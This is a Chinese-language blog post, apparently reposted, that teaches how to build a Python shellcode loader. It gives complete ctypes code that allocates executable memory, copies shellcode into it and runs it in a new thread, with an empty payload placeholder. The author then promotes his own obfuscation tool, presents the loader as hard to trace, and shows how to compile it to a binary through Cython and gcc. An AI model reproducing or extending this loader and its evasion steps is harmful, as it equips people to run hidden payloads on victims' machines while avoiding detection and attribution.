包含内容:
1.传统的shellcode loader
2.Python中的加密loader
3.Python相对于shelcode load 的优势
4.cython帮助我们将.py转.c
5.Python中源码混淆工具分享
1 . shellcode loader
这是一个源码:
import ctypes
shellcode = bytearray(b'')
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
2 . 加密 loader
我(liusuxyds)为此开发了一款转用于混淆python源码的工具AuSuxydsPC
(Free)
link:https://gitee.com/suxyds/au-suxyds-pc
混淆后效果:
3 . Python相对于shelcode load 的优势
1.不易溯源,python属于高级语言,并且使用AuSuxydsPC后更难
2.方便,便于快速实现想法
3.生态好,有很多api等等
4.能转.c
4. cython帮助我们将.py转.c
首先pip3 install cython
或加上’-i https://pypi.tuna.tsinghua.edu.cn/simple‘
使用:cython 文件.py --embed
gcc `python-config --cflags` `python-config --ldflags` 文件.c -o 文件
原创文章,作者:6024010,如若转载,请注明出处:https://blog.ytso.com/267682.html